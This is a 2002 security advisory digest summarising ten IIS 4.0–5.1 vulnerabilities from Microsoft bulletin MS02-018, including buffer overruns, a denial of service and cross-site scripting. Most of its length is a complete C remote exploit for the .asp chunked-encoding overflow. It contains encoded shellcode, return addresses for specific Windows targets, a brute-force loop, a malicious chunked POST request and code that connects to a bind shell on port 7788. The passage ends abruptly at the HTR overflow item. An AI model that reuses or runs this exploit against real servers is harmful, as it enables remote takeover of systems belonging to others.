26th Sep 2002 [SBWID-5257]
COMMAND
	IIS multiple buffer overflow and cross site scripting
SYSTEMS AFFECTED
	IIS 4.0, 5.0, 5.1, 6.0 All releases and patched version  till  11  April
	2002
PROBLEM
	 Editor's note
	 =============
	In  this  hudge  advisory  Microsoft  disclose  up   to   10   different
	vulnerabilities affecting all releases  of  IIS,  for  which  a  summary
	table is provided below. At least one of  those  (.htr  remote  overflow
	that could lead to remote access of the server)  was  discovered  by  an
	independant research group [http://www.atstake.com]  in  February  2002,
	undisclosed until today ...
	
	See: [http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms02-018.asp]
	
	Additional note (24 June 2002) : can  you  see  a  similarity  with  bug
	n°2/3 and the recent posts about Apache ??
	 Summary of vulnerabilities / IIS versions
	 =========================================
	 Note : 
	 ====
	IIS 6.0 is not present here, since considered a beta  version  Microsoft
	will not disclose bug details for it. I.e : you should NOT  use  a  .NET
	platform in production environment ...
	
								       |IIS IIS IIS|
								       |4.0 5.0 5.1|
	---------------------------------------------------------------+---+---+---|
	Buffer overrun in Chunked Encoding mechanism 		       |Yes Yes No |
								       |	   |
	Microsoft-discovered variant of Chunked Encoding buffer overrun|Yes Yes Yes|
								       |	   |
	Buffer Overrun in HTTP Header handling 			       |Yes Yes Yes|
								       |	   |
	Buffer Overrun in ASP Server-Side Include Function  	       |Yes Yes Yes|
								       |	   |
	Buffer overrun in HTR ISAPI extension 			       |Yes Yes No |
								       |	   |
	Access violation in URL error handling 			       |Yes Yes Yes|
								       |	   |
	Denial of service via FTP status request 		       |Yes Yes Yes|
								       |	   |
	Cross-site Scripting in IIS Help File search 		       |No  Yes Yes|
								       |	   |
	Cross-site Scripting in HTTP Error Page 		       |Yes Yes Yes|
								       |	   |
	Cross-site Scripting in Redirect Response message 	       |Yes Yes Yes|
	
	 Problem n°1
	 ===========
	
	 Buffer overrun in Chunked Encoding mechanism
	
	A buffer overrun vulnerability involving the operation  of  the  chunked
	encoding transfer mechanism via Active Server Pages in IIS 4.0 and  5.0.
	An attacker who exploited this vulnerability could overrun  heap  memory
	on the system, with the result of either  causing  the  IIS  service  to
	fail or allowing code to be run on the server.
	See report by eeye [http://www.eeye.com] in file provided below.
	 Update (06 May 2002)
	 ======
	The UUencoded archive (reports.zip.uue) below, has been updated with  an
	exploit   to   this   bug   provided   by   CHINANSL    Security    Team
	[http://www.chinansl.com]
	 Problem n°2
	 ===========
	
	 Microsoft-discovered variant of Chunked Encoding buffer overrun
	
	This one is related to the  preceding  one,  but  which  lies  elsewhere
	within the ASP data transfer mechanism.  It  could  be  exploited  in  a
	similar manner as the preceding vulnerability, and would have  the  same
	scope. However, it affects IIS 4.0, 5.0, and 5.1.
	 Problem n°3
	 ===========
	
	 Buffer Overrun in HTTP header handling
	
	A buffer overrun involving how IIS 4.0, 5.0 and 5.1 process HTTP  header
	information in certain cases. IIS  performs  a  safety  check  prior  to
	parsing the fields in HTTP headers, to ensure  that  expected  delimiter
	fields are present and in reasonable places. However, it is possible  to
	spoof the check, and convince IIS that the delimiters are  present  even
	when they are not. This flaw could enable an attacker to create  an  URL
	whose HTTP header field values would overrun a buffer  used  to  process
	them.
	credit goes to entrust [http://www.entrust.com].
	 Problem n°4
	 ===========
	
	 Buffer Overrun in ASP Server-Side Include Function
	
	A Microsoft-discovered buffer overrun vulnerability in IIS 4.0, 5.0  and
	5.1 that results from an error in safety check that is performed  during
	server-side includes. In some cases, a user request for a  web  page  is
	properly processed  by  including  the  file  into  an  ASP  script  and
	processing it. Prior to processing the include request, IIS performs  an
	operation on the user-specified file name, designed to ensure  that  the
	file name is valid and sized appropriately to fit in  a  static  buffer.
	However, in some  cases  it  could  be  possible  to  provide  a  bogus,
	extremely long file name in a way that  would  pass  the  safety  check,
	thereby resulting in a buffer overrun.
	 Exploit : (24 June 2002)
	 =========
	 
	/* 
	 *   DDK - 2k2 -
	 * 
	 * 
	 *   coded by NeMeS||y tnx to Birdack
	 *  
	 *   
	 */
	// IIS 4(NT4) - IIS 5(2K) .asp bof
	#include <stdio.h> 
	#include <stdlib.h>
	#include <string.h>
	#include <signal.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <sys/ioctl.h>
	#include <sys/time.h>
	#include <sys/wait.h>
	#include <errno.h>
	#include <unistd.h>
	#include <fcntl.h>
	#include <netinet/in.h>
	#include <limits.h>
	#include <netdb.h>
	#include <arpa/inet.h>
	#define RET_BRUTE_START             0x00400000
	#define RET_BRUTE_STOP              0x00500000 
	#define PORT_BIND                         7788        
	#define VERSION                         "0.3b"
	unsigned char wincode[] = 
	"\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05" 
	"\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff" 
	"\x21\x46\x30\x6b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30" 
	"\x9c\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41" 
	"\x6d\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e" 
	"\x5d\x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x30\x65\x30\x6f" 
	"\x30\x42\x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa" 
	"\xaa\xaa\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e" 
	"\x5d\x55\x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29" 
	"\x42\xad\x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55" 
	"\x55\xaa\xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55" 
	"\x55\xaa\xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55" 
	"\x30\x6b\x6b\xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x30\x6b" 
	"\x17\x30\x4e\x5d\x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30" 
	"\x4e\x5d\x55\x55\xaa\xaa\x5a\x15\x21\x30\x7f\x30\x4e\x5d\x55\x55" 
	"\x99\x6a\xcc\x21\xa8\x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab" 
	"\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30" 
	"\x4e\x5d\x55\x55\x99\x63\xcc\x21\xa6\xba\x30\x6b\x53\xfa\xef\xaa" 
	"\xaa\xa5\x30\x6f\xd3\xab\xaa\xaa\x21\x30\x7f\x30\x4e\x5d\x55\x55" 
	"\x21\xe8\x96\x21\x27\x30\x4e\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x30" 
	"\x7f\x30\x4e\x5d\x55\x55\x23\x30\x7f\x30\x4a\x5d\x55\x55\x21\x30" 
	"\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6\xa9\x27\x30\x4e\x5d\x55\x55" 
	"\x23\x27\x36\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\x30\x6b\x90" 
	"\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa\x21\x30\x6f\x36\x5d" 
	"\x55\x55\x30\x6b\xd2\xae\xef\xe6\x99\x98\xa5\x30\x6f\x8a\xab\xaa" 
	"\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d\x55\x55\x21\x30" 
	"\x7f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55\x55\xa9\xe8" 
	"\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d\x55\x55\xaa" 
	"\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b\xab\x23\x27" 
	"\x32\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\x29\x68\xae\x23\x30" 
	"\x7f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27\x32" 
	"\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x30\x7f\x36" 
	"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x30\x6b\x96\xab" 
	"\xed\xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x30\x7f\x36" 
	"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x30\x6b\xd6\xab" 
	"\xae\xd8\xc5\xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x30\x7f" 
	"\x32\x5d\x55\x55\xa9\x30\x7f\x32\x5d\x55\x55\xa9\x30\x7f\x30\x4e" 
	"\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a" 
	"\xcc\x21\xae\xa0\x23\x30\x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d" 
	"\x55\x55\x21\xfb\xba\x21\x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55" 
	"\x23\x27\x36\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\xa9\x30\x7f" 
	"\x36\x5d\x55\x55\xa9\x30\x7f\x36\x5d\x55\x55\xa9\x30\x7f\x36\x5d" 
	"\x55\x55\xa9\x30\x7f\x30\x4e\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d" 
	"\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x30\x7f\x36\x5d\x55\x55\x21" 
	"\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d\x55\x55\x23\x30" 
	"\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55\x55\x43\xbc\x54" 
	"\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce\x30\x49\xaa\xaa" 
	"\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf\x43\xdf\xae\xaa" 
	"\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc\x23\x30\x7f\x86" 
	"\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a\xa8\x23\x30" 
	"\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55\xab\xaa\xaa" 
	"\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23\x27\x36\x5d" 
	"\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x30\x7f\xaa\xaa\xaa" 
	"\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x30\x7f\x30\x42" 
	"\x5d\x55\x55\xf8\x55\x30\x7f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1" 
	"\xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f" 
	"\x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x30\x7f" 
	"\x30\x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x30\x7f\x36" 
	"\x5d\x55\x55\x23\x30\x6e\x30\x7f\x1a\x5d\x55\x55\x41\xa5\x21\x30" 
	"\x6f\x30\x42\x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55" 
	"\x55\x21\x27\x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba" 
	"\x21\x30\x6f\x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde" 
	"\xa8\x41\xa8\x41\x78\x21\x30\x7f\x30\x42\x5d\x55\x55\x29\x68\xab" 
	"\x23\x30\x7f\x30\x42\x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0" 
	"\xac\xc0\xab\xc0\xa8\x55\x30\x7f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9" 
	"\xe1\xe9\xe1\x23\x30\x6f\xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d" 
	"\x55\x55\xa8\xaa\xcc\x21\x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f" 
	"\x90\x5d\x55\x55\x6d\x30\x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d" 
	"\x30\x6f\x36\x5d\x55\x55\xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55" 
	"\xaa\xde\xf5\x21\x5e\xc0\xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x30" 
	"\x7f\xe6\x5d\x55\x55\xf8\x55\x30\x7f\x72\x5d\x55\x55\x91\x5e\x3a" 
	"\xe9\xe1\xe9\xe1\x23\x30\x6f\x36\x5d\x55\x55\xcc\x21\x30\x6f\x90" 
	"\x5d\x55\x55\xcc\xaf\xaa\xab\xcc\x23\x30\x6f\x90\x5d\x55\x55\x21" 
	"\x27\x90\x5d\x55\x55\x30\x6b\x4b\x55\x55\xaa\xaa\x30\x6b\x53\xaa" 
	"\xab\xaa\xaa\xd7\xb8\xcc\x21\x30\x7f\x90\x5d\x55\x55\xcc\x29\x68" 
	"\xab\xcc\x23\x30\x7f\x90\x5d\x55\x55\x41\x32\x21\x5e\xc0\xa0\x21" 
	"\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x30\x7f\x76\x5d\x55\x55\x91\x5e" 
	"\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63\xa5\x30\x6e" 
	"\x6c\xa8\xaa\xaa\x21\x5e\x27\x30\x7f\x9e\x5d\x55\x55\xf8\x27\x30" 
	"\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55\x30\x7f" 
	"\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2\x5d" 
	"\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30\x6f" 
	"\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55\xab" 
	"\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x7f\xaa\x5d\x55\x55\xf8\x27" 
	"\x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x30" 
	"\x7f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa" 
	"\x27\x30\x7f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa" 
	"\x27\x27\xba\x5d\x55\x55\xfb\x55\x30\x7f\x12\x5d\x55\x55\x91\x5e" 
	"\x3a\xe9\xe1\xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa" 
	"\xaa\xaa\x58\x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa" 
	"\xcc\x6d\x30\x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x30\x7f\xba\x5d\x55" 
	"\x55\x23\x30\x7f\x22\x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23" 
	"\x30\x6f\x26\x5d\x55\x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d" 
	"\x55\x55\x21\x5e\x27\x30\x7f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa" 
	"\x5d\x55\x55\xfa\xc0\xaa\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa" 
	"\x21\x27\x30\x42\x5d\x55\x55\xfb\xc0\xaa\x55\x30\x7f\x16\x5d\x55" 
	"\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36\x5d\x55\x55\x21" 
	"\x5e\xc0\xaa\xc0\xaa\x27\x30\x7f\x9a\x5d\x55\x55\xf8\xc2\xaa\xae" 
	"\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xb2\x5d\x55\x55" 
	"\xfb\x55\x30\x7f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x30" 
	"\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5\x30\x6e\xdf\xab\xaa\xaa\x21" 
	"\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\xc2\xaa\xae" 
	"\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb\x21\x30\x7f\xb2\x5d\x55\x55" 
	"\xf8\x55\x30\x7f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29" 
	"\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa\xaa\xaa\x21\x5e\xc0" 
	"\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x9a\x5d\x55\x55\xfb" 
	"\x27\x30\x7f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2\x5d\x55\x55\xfa" 
	"\x55\x30\x7f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29\x17" 
	"\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27\x9a\x5d\x55" 
	"\x55\xfb\x27\x30\x7f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2\x5d\x55" 
	"\x55\xfa\x55\x30\x7f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1" 
	"\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55\xfb" 
	"\x21\x30\x7f\xe2\x5d\x55\x55\xf8\x55\x30\x7f\x4e\x5d\x55\x55\x91" 
	"\x5e\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2" 
	"\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d" 
	"\x55\x55\xfb\x55\x30\x7f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9" 
	"\xe1\x23\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5" 
	"\xf8\x6d\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa" 
	"\x27\x30\x7f\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa" 
	"\x21\x27\x30\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x30\x7f\xa6\x5d" 
	"\x55\x55\xf8\x55\x30\x7f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9" 
	"\xe1\x21\x5e\x21\x30\x6f\xe2\x5d\x55\x55\xfa\x55\x30\x7f\x5a\x5d" 
	"\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27" 
	"\x27\x9a\x5d\x55\x55\xfb\x21\x30\x7f\x9a\x5d\x55\x55\xf8\x27\x30" 
	"\x6f\xaa\x52\x55\x55\xfa\x21\x27\xa6\x5d\x55\x55\xfb\x55\x30\x7f" 
	"\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\xd4\x54\x55\x55" 
	"\x43\x87\x57\x55\x55\x41\x54\xf2\xfa\x21\x17\x30\x42\x5d\x55\x55" 
	"\x23\xed\x58\x69\x21\xee\x8e\xa6\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee" 
	"\x99\x88\xbb\x99\x6a\x69\x41\x46\x42\xb3\x53\x55\x55\xb4\xc6\xe6" 
	"\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb" 
	"\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5" 
	"\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6" 
	"\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa" 
	"\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3" 
	"\xc6\xcf\xaa\xdd\xd9\xc5\xc9\xc1\x99\x98\x84\xce\xc6\xc6\xaa\xd9" 
	"\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4\xce\xaa\xc6\xc3\xd9\xde\xcf" 
	"\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa\xd9\xcf\xc4\xce\xaa\xd8\xcf" 
	"\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9" 
	"\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc7\xce\x84\xcf" 
	"\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0\xaa"; 
	struct{
	      int	       def;
	      char	       *descr;
	      unsigned int ret;
	      unsigned int rewrite;
	      int          port;
	      char         path[256];
	    }target[] = {
	          {0, " IIS5 Windows 2000 by hsj", 0x0045C560, 0x77eaf44c, 80, "/iisstart.asp"},
	          {1, " IIS5 Windows 2000 Chinese SP0 - SP1", 0x0045C560, 0x77ec044c, 80, "/iisstart.asp"},
	          {2, " IIS5 Windows 2000 Chinese SP2", 0x0045C560, 0x77ebf44c, 80, "/iisstart.asp"},
	          {3, " IIS5 Windows 2000 English SP2", 0x0045C560, 0x77edf44c, 80, "/iisstart.asp"}, 
	          {4, " IIS4 Windows NT4", 0, 0, 80, "/iisstart.asp"},   
	          {666, NULL, 0, 0, 0, NULL}
	        };
	int sel = 0;
	int resolve (char *IP);
	int make_connection(char *address,int port);
	int open_back(char *host,int port);
	void l33thax0r(int sock);
	void usage(char *name);
	int main(int argc, char **argv)
	 {
	  int i, j, cnt, sock;
	  int brute = 0;
	  unsigned int step;
	  unsigned char		*shell_port_offset;
	  char buf[8192], buf2[16384], host[1024];
	  unsigned int ret_start, ret_stop, ret_step, ret_1;
	  fprintf(stderr, "\n IIS4(NT4) - IIS5(2K) .asp buffer overflow remote exploit "
	          "- DDK Crew 2k2 - (version "VERSION")\n"
	          " by NeMeS||y and Birdack\n\n");
	  if(argc == 1) usage(argv[0]);
	  while((cnt = getopt(argc,argv,"h:t:p:f:b:")) != EOF)
	    {
	   switch(cnt)
	        {
	   case 'h':
	     strncpy(host, optarg, sizeof(host));
	     host[sizeof(host) - 1] = '\x00';
	     break;
	   case 't':
	     sel = atoi(optarg);
	     break;
	   case 'p':
	     sscanf(optarg, "%p", &target[sel].port);
	     break; 
	   case 'f':
	     strncpy(target[sel].path, optarg, sizeof(&target[sel].path));
	     target[sel].path[sizeof(&target[sel].path) -1] = '\x00';
	     break;
	   case 'b':
	     brute = 1;
	     step = atoi(optarg);
	     break;
	   default:
	     usage(argv[0]);
	     break;
	        }
	    }
	 if(target[sel].def == 4) brute = 1; // ;>
	 sock = make_connection(host,target[sel].port);
	 if(sock<0)
	    {
	        printf("Error -> [ %d ] not connected.\n\n",sock);
	        return -3;
	    }
	 if(brute==0) 
	   {
	     ret_start = target[sel].ret;
	     ret_step  = 1;
	     ret_stop  = target[sel].ret;
	   } else {
	            ret_start = RET_BRUTE_START;
	            ret_step  = step;
	            ret_stop  = RET_BRUTE_STOP;
	          }
	 printf("\n [+] Start\n\n  host\t->\t%s\n  port\t->\t%d\n  path\t->\t%s\n  type\t->\t%s\n\n\n",
	        host, target[sel].port, target[sel].path, target[sel].descr);
	 if(brute==1) printf("\n [+] Brute forcing enabled... do u have time?\n\n");
	 for(ret_1 = ret_start; ret_1 <= ret_stop; ret_1 += ret_step)
	    {   
	     for(i=0;i<sizeof(buf)-strlen(wincode)-12-1;)
	        {    
	          buf[i++] = 0xeb;
	          buf[i++] = 0x06;
	        }
	       *(unsigned int *)&buf[i] = 0x41414141;
	       *(unsigned int *)&buf[i+4] = 0x41414141;
	       *(unsigned int *)&buf[i+8] = 0x41414141;
	       memcpy(&buf[sizeof(buf)-strlen(wincode)-1],wincode,strlen(wincode));
	       buf[sizeof(buf)-1] = 0;
	       sprintf(buf2,"POST %s?%s HTTP/1.0\r\n"
	                    "Content-Type: application/x-www-form-urlencoded\r\n"
	                    "Transfer-Encoding: chunked\r\n\r\n"
	                    "10\r\nDDKDDKDDKDDKDD\r\n"
	                    "4\r\nRETT\r\n"
	                    "4\r\nREWR\r\n"
	                    "0\r\n\r\n\r\n",
	                    &target[sel].path,buf);
	       *(unsigned int *)strstr(buf2,"REWR") = &target[sel].rewrite;
	       *(unsigned int *)strstr(buf2,"RETT") = ret_1;
	       if(brute==0) printf(" # Sending buffer to socket : ");
	       write(sock,buf2,strlen(buf2));
	       fprintf(stderr, " [+] ret : 0x%08lx ->",ret_1);
	       sleep(3);
	       if(brute==0) printf("DONE!\n\n");
	       shutdown(sock,2);
	       close(sock);
	       printf(" # connecting to our shell - port : [ %d ]\n",PORT_BIND);
	       sock=open_back(host,PORT_BIND);
	       if(sock==-1 && brute==0)
	            {
	             printf("\n [-] FAILED ");
	             printf("exiting now!\n\n");
	             exit(-1);
	            } 
	       if(sock!=-1) 
	         {
	          printf("\n\n[+] Address guessed!! \n\n");
	          printf("...OH oH OH... done! our evilcode has worked baby at [ %d ]\n", ret_1);
	          l33thax0r(sock);
	          exit(0); 
	         }
	    }
	}
	int resolve (char *IP)
	{
	  struct hostent *info;
	  unsigned long ip;
	  if ((ip=inet_addr(IP))==-1)
	    {
	      if ((info=gethostbyname(IP))==0)
	        {
	          printf("Couldnt resolve [%s]\n", IP);
	          exit(0);
	        }
	      memcpy(&ip, (info->h_addr), 4);
	    }
	  return (ip);
	}
	int make_connection(char *address,int port)
	{
	    struct sockaddr_in server,target;
	    int s,i,bf;
	    fd_set wd;
	    struct timeval tv;
	    s = socket(AF_INET,SOCK_STREAM,0);
	    if(s<0)
	        return -1;
	    memset((char *)&server,0,sizeof(server));
	    server.sin_family = AF_INET;
	    server.sin_addr.s_addr = htonl(INADDR_ANY);
	    server.sin_port = 0;
	    target.sin_family = AF_INET;
	    target.sin_addr.s_addr = resolve(address);
	    if(target.sin_addr.s_addr==0)
	    {
	        close(s);
	        return -2;
	    }
	    target.sin_port = htons(port);
	    bf = 1;
	    ioctl(s,FIONBIO,&bf);
	    tv.tv_sec = 10;
	    tv.tv_usec = 0;
	    FD_ZERO(&wd);
	    FD_SET(s,&wd);
	    connect(s,(struct sockaddr *)&target,sizeof(target));
	    if((i=select(s+1,0,&wd,0,&tv))==(-1))
	    {
	        close(s);
	        return -3;
	    }
	    if(i==0)
	    {
	        close(s);
	        return -4;
	    }
	    i = sizeof(int);
	    getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
	    if((bf!=0)||(i!=sizeof(int)))
	    {
	        close(s);
	        errno = bf;
	        return -5;
	    }
	    ioctl(s,FIONBIO,&bf);
	    return s;
	}
	int open_back(char *host,int port) 
	{
	   int sock, err;
	   struct sockaddr_in server_addr;
	   struct hostent *he;
	   he=gethostbyname(host);
	   if (he == NULL) return -1;
	   server_addr.sin_family = AF_INET;
	   server_addr.sin_port = htons (port);
	   server_addr.sin_addr.s_addr = resolve(host);
	   sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	   if (sock == -1) return -1;
	   err = connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
	   if (err == -1) sock = -1;  
	   return sock;
	}
	void l33thax0r(int sock)
	{
	 char buf[1024];
	 fd_set rset;
	 int i;
	 while (1)
	 {
	  FD_ZERO(&rset);
	  FD_SET(sock,&rset);
	  FD_SET(STDIN_FILENO,&rset);
	  select(sock+1,&rset,NULL,NULL,NULL);
	  if (FD_ISSET(sock,&rset))
	  {
	   i=read(sock,buf,1024);
	   if (i <= 0)
	   {
	     printf("Fuck... the connection was closed!\n");
	     printf("exiting...\n\n");
	     exit(0);
	   }
	   buf[i]=0;
	   puts(buf);
	  }
	  if (FD_ISSET(STDIN_FILENO,&rset))
	  {
	   i=read(STDIN_FILENO,buf,1024);
	   if (i>0)
	   {
	    buf[i]=0;
	    write(sock,buf,i);
	   }
	  }
	 }
	}
	void usage(char *name) 
	{ 
	 int j = 0;
	  printf("Usage: %s <-h hostname> <-t target> [-p port] [-f path file] [-b step]\n", name);
	  printf("\nOptions:\n"
	         "  -h hostname  (www.iisvictim.com)\n"
	         "  -t target\n"
		   "  -p port      (default 80)\n"
	         "  -f path_file (default /iisstart.asp)\n"
	         "  -b step      (brute force, try step 2000)\n\n" 
	         "Available targets:\n\n");
	  while(target[j].def != 666)
	        {
	          printf("  %d ] - %s -\n", target[j].def, target[j].descr);
	          j++;
	        }
	  printf("\n");  
	  exit(1);
	}
	
	 Problem n°5
	 ===========
	
	 Buffer overrun in HTR ISAPI extension
	
	A buffer overrun affecting the HTR ISAPI extension in IIS 4.0  and  5.0.
	By sending a series of specially malformed HTR  requests,  it  could  be
	possible to either cause the IIS  service  to  fail  or,  under  a  very
	difficult operational scenario, to cause code to run on the server.
	See report by @Stake [http://www.atstake.com] in file provided below.
	Microsoft  IIS  .HTR   heap   overflow   checker   by   Filip   Maertens
